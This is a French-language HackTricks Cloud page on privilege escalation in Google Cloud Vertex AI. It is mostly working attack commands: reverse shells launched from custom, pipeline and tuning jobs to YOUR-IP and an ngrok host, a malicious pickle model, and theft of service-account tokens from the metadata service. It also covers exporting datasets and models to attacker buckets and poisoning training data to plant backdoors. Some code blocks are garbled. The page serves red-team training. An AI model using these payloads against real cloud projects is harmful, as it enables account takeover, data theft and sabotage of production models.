GCP - Vertex AI Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Vertex AI
Pour plus dâinformations sur Vertex AI, consultez :
Pour les chemins de post-exploitation Agent Engine / Reasoning Engine utilisant le runtime metadata service, lâagent de service Vertex AI par dĂ©faut, et le pivot inter-projet vers les ressources consumer / producer / tenant, voir :
GCP - Vertex AI Post Exploitation
aiplatform.customJobs.create, iam.serviceAccounts.actAs
Avec la permission aiplatform.customJobs.create et iam.serviceAccounts.actAs sur un service account cible, un attaquant peut exécuter du code arbitraire avec des privilÚges élevés.
Cela fonctionne en crĂ©ant un custom training job qui exĂ©cute du code contrĂŽlĂ© par lâattaquant (soit un custom container, soit un Python package). En spĂ©cifiant un service account privilĂ©giĂ© via lâoption --service-account, le job hĂ©rite des permissions de ce service account. Le job sâexĂ©cute sur une infrastructure gĂ©rĂ©e par Google avec accĂšs au GCP metadata service, ce qui permet dâextraire lâOAuth access token du service account.
Impact : escalade complĂšte de privilĂšges vers les permissions du service account cible.
Créer un custom job avec reverse shell
```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region=On your attacker machine, start a listener first:
nc -lvnp 4444
Once connected, you can extract the token with:
curl -H âMetadata-Flavor: Googleâ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Method 2: Python reverse shell (if bash reverse shell is blocked)
gcloud ai custom-jobs create
âregion=
âdisplay-name=revshell-job
âworker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
âcommand=sh
âargs=-c,âpython3 -c âimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])ââ
âservice-account=
</details>
<details>
<summary>Alternative : Extraire le token des logs</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
aiplatform.models.upload, aiplatform.models.get
Cette technique permet une escalade de privilĂšges en tĂ©lĂ©versant un modĂšle sur Vertex AI, puis en exploitant ce modĂšle pour exĂ©cuter du code avec des privilĂšges Ă©levĂ©s via le dĂ©ploiement dâun endpoint ou un job de batch prediction.
Note
Pour rĂ©aliser cette attaque, il est nĂ©cessaire dâavoir un bucket GCS lisible par tous ou dâen crĂ©er un nouveau pour y tĂ©lĂ©verser les artefacts du modĂšle.
Upload malicious pickled model with reverse shell
```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickleclass MaliciousModel: def reduce(self): import subprocess cmd = âbash -i >& /dev/tcp/YOUR-IP/4444 0>&1â return (subprocess.Popen, ([â/bin/bashâ, â-câ, cmd],))
Save malicious model
with open(âmodel.pklâ, âwbâ) as f: pickle.dump(MaliciousModel(), f) EOF
python3 create_malicious_model.py
Upload to GCS
gsutil cp model.pkl gs://your-bucket/malicious-model/
Upload model (reverse shell executes when endpoint loads it during deployment)
gcloud ai models upload
âregion=
âartifact-uri=gs://your-bucket/malicious-model/
âdisplay-name=malicious-sklearn
âcontainer-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
On attacker: nc -lvnp 4444 (shell connects when deployment starts)
</details>
<details>
<summary>Téléverser un modÚle avec un reverse shell dans un conteneur</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell
# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'
# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/
# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080
# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
[!DANGER] AprĂšs avoir tĂ©lĂ©chargĂ© le modĂšle malveillant, un attaquant peut attendre que quelquâun utilise le modĂšle, ou lancer luiâmĂȘme le modĂšle via un dĂ©ploiement sur un endpoint ou via un job de batch prediction.
iam.serviceAccounts.actAs, ( aiplatform.endpoints.create, aiplatform.endpoints.deploy, aiplatform.endpoints.get ) or ( aiplatform.endpoints.setIamPolicy )
Si vous avez les permissions pour crĂ©er et dĂ©ployer des modĂšles sur des endpoints, ou modifier les politiques IAM des endpoints, vous pouvez exploiter les modĂšles malveillants tĂ©lĂ©chargĂ©s dans le projet pour obtenir une Ă©lĂ©vation de privilĂšges. Pour dĂ©clencher lâun des modĂšles malveillants prĂ©cĂ©demment tĂ©lĂ©chargĂ©s via un endpoint, il vous suffit de :
Déployer le modÚle malveillant sur un endpoint
```bash # Create an endpoint gcloud ai endpoints create \ --region=Deploy with privileged service account
gcloud ai endpoints deploy-model
âregion=
âmodel=
âdisplay-name=revshell-deployment
âservice-account=
âmachine-type=n1-standard-2
âmin-replica-count=1
</details>
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
Si vous avez les permissions pour créer des **batch prediction jobs** et les exécuter avec un compte de service, vous pouvez accéder au metadata service. Le code malveillant s'exécute depuis un **custom prediction container** ou un **malicious model** pendant le processus de batch prediction.
**Remarque** : Les batch prediction jobs ne peuvent ĂȘtre créés que via REST API ou Python SDK (pas de prise en charge du gcloud CLI).
> [!NOTE]
> Cette attaque nécessite d'abord de téléverser un malicious model (voir la section `aiplatform.models.upload` ci-dessus) ou d'utiliser un custom prediction container contenant votre code de reverse shell.
<details>
<summary>Créer un batch prediction job avec un malicious model</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080
# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'
# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
aiplatform.models.export
Si vous disposez de lâautorisation models.export, vous pouvez exporter les artefacts du modĂšle vers un bucket GCS que vous contrĂŽlez, ce qui permet potentiellement dâaccĂ©der Ă des donnĂ©es dâentraĂźnement sensibles ou aux fichiers du modĂšle.
Note
Pour effectuer cette attaque, il est nĂ©cessaire dâavoir un bucket GCS lisible et inscriptible par tout le monde ou dâen crĂ©er un nouveau pour tĂ©lĂ©verser les artefacts du modĂšle.
Exporter les artefacts du modĂšle vers un bucket GCS
```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"curl -X POST
-H âAuthorization: Bearer $(gcloud auth print-access-token)â
-H âContent-Type: application/jsonâ
âhttps://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:exportâ
-d â{
âoutputConfigâ: {
âexportFormatIdâ: âcustom-trainedâ,
âartifactDestinationâ: {
âoutputUriPrefixâ: âgs://your-controlled-bucket/exported-models/â
}
}
}â
Wait for the export operation to complete, then download
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
</details>
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
Créer des **jobs de pipeline ML** qui exécutent plusieurs étapes avec des conteneurs arbitraires et permettent une élévation de privilÚges via un reverse shell.
Les pipelines sont particuliĂšrement puissants pour l'Ă©lĂ©vation de privilĂšges car ils prennent en charge des attaques multi-Ă©tapes oĂč chaque composant peut utiliser des conteneurs et des configurations diffĂ©rents.
> [!NOTE]
> Vous avez besoin d'un bucket GCS accessible en écriture par tous pour l'utiliser comme racine du pipeline.
<details>
<summary>Installer le SDK Vertex AI</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
Créer un job de pipeline avec un conteneur reverse shell
```python #!/usr/bin/env python3 import json import subprocessPROJECT_ID = â
Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
pipeline_spec = { âschemaVersionâ: â2.1.0â, âsdkVersionâ: âkfp-2.0.0â, âpipelineInfoâ: { ânameâ: âdata-processing-pipelineâ }, ârootâ: { âdagâ: { âtasksâ: { âprocess-taskâ: { âtaskInfoâ: { ânameâ: âprocess-taskâ }, âcomponentRefâ: { ânameâ: âcomp-processâ } } } } }, âcomponentsâ: { âcomp-processâ: { âexecutorLabelâ: âexec-processâ } }, âdeploymentSpecâ: { âexecutorsâ: { âexec-processâ: { âcontainerâ: { âimageâ: âpython:3.11-slimâ, âcommandâ: [âpython3â], âargsâ: [â-câ, âimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((â4.tcp.eu.ngrok.ioâ,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([â/bin/bashâ,â-iâ])â] } } } } }
Create the request body
request_body = { âdisplayNameâ: âml-training-pipelineâ, âruntimeConfigâ: { âgcsOutputDirectoryâ: âgs://gstorage-name/folderâ }, âpipelineSpecâ: pipeline_spec, âserviceAccountâ: TARGET_SA }
Get access token
token_result = subprocess.run( [âgcloudâ, âauthâ, âprint-access-tokenâ], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()
Submit via REST API
import requests
url = fâhttps://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobsâ headers = { âAuthorizationâ: fâBearer {access_token}â, âContent-Typeâ: âapplication/jsonâ }
print(fâSubmitting pipeline job to {url}â) response = requests.post(url, headers=headers, json=request_body)
if response.status_code in [200, 201]: result = response.json() print(fââ Pipeline job submitted successfully!â) print(fâ Job name: {result.get(ânameâ, âN/Aâ)}â) print(fâ Check your reverse shell listener for connectionâ) else: print(fââ Error: {response.status_code}â) print(fâ {response.text}â)
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
Créer des **hyperparameter tuning jobs** qui exécutent du code arbitraire avec des privilÚges élevés via des containers d'entraßnement personnalisés.
Les hyperparameter tuning jobs permettent d'exécuter plusieurs essais d'entraßnement en parallÚle, chacun avec des valeurs d'hyperparamÚtres différentes. En spécifiant un container malveillant contenant un reverse shell ou une commande d'exfiltration, et en l'associant à un service account privilégié, vous pouvez obtenir une escalade de privilÚges.
**Impact** : Escalade complÚte des privilÚges vers les permissions du service account ciblé.
<details>
<summary>Créer un hyperparameter tuning job avec reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF
# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
aiplatform.datasets.export
Exporter des datasets pour exfiltrate des donnĂ©es dâentraĂźnement pouvant contenir des informations sensibles.
Remarque : les opĂ©rations sur les datasets nĂ©cessitent lâAPI REST ou le Python SDK (pas de support gcloud CLI pour les datasets).
Les datasets contiennent souvent les donnĂ©es dâentraĂźnement originales qui peuvent inclure des PII, des donnĂ©es commerciales confidentielles ou dâautres informations sensibles utilisĂ©es pour entraĂźner des modĂšles de production.
Exporter un dataset pour exfiltrate des données d'entraßnement
```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"curl -s -X GET
-H âAuthorization: Bearer $(gcloud auth print-access-token)â
âhttps://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasetsâ
Step 2: Export a dataset to your own bucket using REST API
DATASET_ID=â
curl -X POST
-H âAuthorization: Bearer $(gcloud auth print-access-token)â
-H âContent-Type: application/jsonâ
âhttps://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:exportâ
-d â{
âexportConfigâ: {
âgcsDestinationâ: {âoutputUriPrefixâ: âgs://your-controlled-bucket/exported-data/â}
}
}â
The export operation runs asynchronously and will return an operation ID
Wait a few seconds for the export to complete
Step 3: Download the exported data
gsutil ls -r gs://your-controlled-bucket/exported-data/
Download all exported files
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
Step 4: View the exported data
The data will be in JSONL format with references to training data locations
cat exported-data//data-.jsonl
The exported data may contain:
- References to training images/files in GCS buckets
- Dataset annotations and labels
- PII (Personally Identifiable Information)
- Sensitive business data
- Internal documents or communications
- Credentials or API keys in text data
</details>
### `aiplatform.datasets.import`
Importer des données malveillantes ou empoisonnées dans des datasets existants pour **manipuler l'entraßnement du modÚle et introduire des backdoors**.
**Remarque** : Les opérations sur les datasets requiÚrent le REST API ou le Python SDK (pas de prise en charge via gcloud CLI pour les datasets).
En important des données spécialement conçues dans un dataset utilisé pour entraßner des modÚles ML, un attaquant peut :
- Introduire des backdoors dans les modÚles (mésclassification déclenchée par un trigger)
- Empoisonner les données d'entraßnement pour dégrader les performances du modÚle
- Injecter des données pour provoquer le leak d'informations par les modÚles
- Manipuler le comportement du modÚle pour des entrées spécifiques
Cette attaque est particuliÚrement efficace lorsqu'elle cible des datasets utilisés pour :
- classification d'images (injecter des images mal étiquetées)
- classification de texte (injecter du texte biaisé ou malveillant)
- détection d'objets (manipuler les boßtes englobantes)
- systÚmes de recommandation (injecter de fausses préférences)
<details>
<summary>Importer des données empoisonnées dans un dataset</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF
# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF
# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'
# The import operation runs asynchronously and will return an operation ID
# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
# The dataItemCount should increase after successful import
ScĂ©narios dâattaque :
Backdoor attack - Classification d'images
```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```Label flipping attack
```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```Empoisonnement des données pour l'extraction de modÚle
```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```Attaque ciblée contre des entités spécifiques
```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```[!DANGER] Data poisoning attacks can have severe consequences:
- SystĂšmes de sĂ©curitĂ© : contourner la reconnaissance faciale ou la dĂ©tection dâanomalies
- Détection de fraude : entraßner des modÚles à ignorer certains motifs de fraude
- Modération de contenu : faire en sorte que du contenu dangereux soit classé comme sûr
- IA médicale : mal classifier des conditions de santé critiques
- SystĂšmes autonomes : manipuler la dĂ©tection dâobjets pour des dĂ©cisions critiques pour la sĂ©curitĂ©
Impact :
- Backdoored models that misclassify on specific triggers
- Dégradation des performances et de la précision du modÚle
- ModÚles biaisés qui discriminent certaines entrées
- Information leakage through model behavior
- Persistance Ă long terme (models trained on poisoned data will inherit the backdoor)
aiplatform.notebookExecutionJobs.create, iam.serviceAccounts.actAs
Warning
Note
API obsolĂšte : LâAPI
aiplatform.notebookExecutionJobs.createest obsolĂšte dans le cadre de la dĂ©prĂ©ciation de Vertex AI Workbench Managed Notebooks. Lâapproche moderne consiste Ă utiliser Vertex AI Workbench Executor qui exĂ©cute des notebooks viaaiplatform.customJobs.create(dĂ©jĂ documentĂ© ci-dessus). Le Vertex AI Workbench Executor permet de planifier des exĂ©cutions de notebooks qui tournent sur lâinfrastructure de training personnalisĂ© de Vertex AI avec un compte de service spĂ©cifiĂ©. Câest essentiellement un wrapper de commoditĂ© autour decustomJobs.create. For privilege escalation via notebooks : Utilisez la mĂ©thodeaiplatform.customJobs.createdocumentĂ©e ci-dessus, qui est plus rapide, plus fiable, et utilise la mĂȘme infrastructure sous-jacente que le Workbench Executor.
La technique suivante est fournie uniquement Ă titre historique et nâest pas recommandĂ©e pour de nouvelles Ă©valuations.
Créer des notebook execution jobs qui exécutent des notebooks Jupyter contenant du code arbitraire.
Les notebook jobs sont idĂ©aux pour lâexĂ©cution de code en mode interactif avec un compte de service, car ils supportent des cellules de code Python et des commandes shell.
Créer un fichier notebook malveillant
```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' { "cells": [ { "cell_type": "code", "source": [ "import subprocess\n", "token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", "print(token.decode())" ] } ], "metadata": {}, "nbformat": 4 } EOFUpload to GCS
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
</details>
<details>
<summary>Exécuter le notebook avec le compte de service cible</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'
# Monitor job for token in output
# Notebooks execute with the specified service account's permissions
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

